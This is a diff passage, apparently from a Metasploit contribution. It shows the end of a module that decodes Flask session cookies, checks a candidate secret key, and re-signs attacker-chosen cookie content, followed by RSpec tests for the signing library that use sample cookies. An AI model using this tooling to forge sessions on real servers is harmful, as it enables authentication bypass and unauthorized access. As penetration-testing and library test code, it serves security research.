cookie = cookie.split('=')[1].gsub(';', '')
|
||||
begin
|
||||
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to decode the cookie: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
|
||||
|
||||
# use dehex to allow \x style escape sequences for unprintable chars
|
||||
secret = unescape_string(datastore['SECRET'])
|
||||
salt = unescape_string(datastore['Salt'])
|
||||
|
||||
if Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret, salt: salt)
|
||||
print_good("#{peer} - Secret key #{secret.inspect} is correct.")
|
||||
elsif datastore['SECRET'].present?
|
||||
print_warning("#{peer} - Secret key #{secret.inspect} is incorrect.")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
case action.name
|
||||
when 'Retrieve'
|
||||
action_retrieve
|
||||
when 'FindSecret'
|
||||
action_find_secret
|
||||
when 'Resign'
|
||||
print_status("Attempting to sign with key: #{datastore['SECRET']}")
|
||||
secret = Rex::Text.dehex(datastore['SECRET'])
|
||||
salt = Rex::Text.dehex(datastore['Salt'])
|
||||
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(datastore['NEWCOOKIECONTENT'], secret, salt: salt)
|
||||
print_good("#{peer} - New signed cookie: #{datastore['CookieName']}=#{encoded_cookie}")
|
||||
end
|
||||
end
|
||||
|
||||
def unescape_string(string)
|
||||
Rex::Text.dehex(string.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,40 @@
|
|||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::FlaskUnsign::Session do
|
||||
let(:secret) { 'CHANGEME' }
|
||||
describe '.decode' do
|
||||
it 'returns a hash' do
|
||||
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA')).to eql({ 'hello' => 'world' })
|
||||
end
|
||||
|
||||
# derived from logged in session from Apache Supserset
|
||||
it 'returns a hash from complex dict' do
|
||||
expected = {
|
||||
"_fresh" => true,
|
||||
"_id" => "8d59ff5d8869fbb273c1a32f29cd1e58941794de1bfbc172b5bc4050a2d0d2e14bbc68eb66c84de2fbd902930feb61daf05ae9b6f8b4748187c87713a114ff9f",
|
||||
"csrf_token" => "29c40f8f619b57b08b3e64bca1f76be68e8391c1",
|
||||
"locale" => "en",
|
||||
"user_id" => "1"
|
||||
}
|
||||
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('.eJwlj0GKAzEMBP-i8xwsW7alfGawZIkNGTYwk5yW_D2GvTZdVPcf7HH69QO31_n2Dfb7hBvwrBJRJ3OTUM29GI6SI4tN9MpC2IWmo4Ya9qxVjVJNI880syOpWmPX1oxXLYdOSVlKipXhHJHqcNEWrNSJkbtx71gGIkVIwAZ2nbG_ng__XXuWl1JwNBStXRNr8UZqA6M39aXiImi4uONp4_DFLHCD9-Xn_yWEzxfWdkQs.ZKXFig.tOBl4_CxT7zWg3EaZZNce7NP4rc')).to eql(expected)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.sign' do
|
||||
it 'returns a cookie string' do
|
||||
@freezed_time = Time.utc(2023, 7, 10, 12, 0, 0)
|
||||
allow(Time).to receive(:now).and_return(@freezed_time)
|
||||
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ 'hello' => 'world' }, secret)).to eql('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS164')
|
||||
end
|
||||
end
|
||||
|
||||
describe '.valid?' do
|
||||
it 'verifies a signed cookie' do
|
||||
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS164', secret)).to be true
|
||||
end
|
||||
|
||||
it 'does not verify an invalid signed cookie' do
|
||||
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS163', secret)).to be false
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue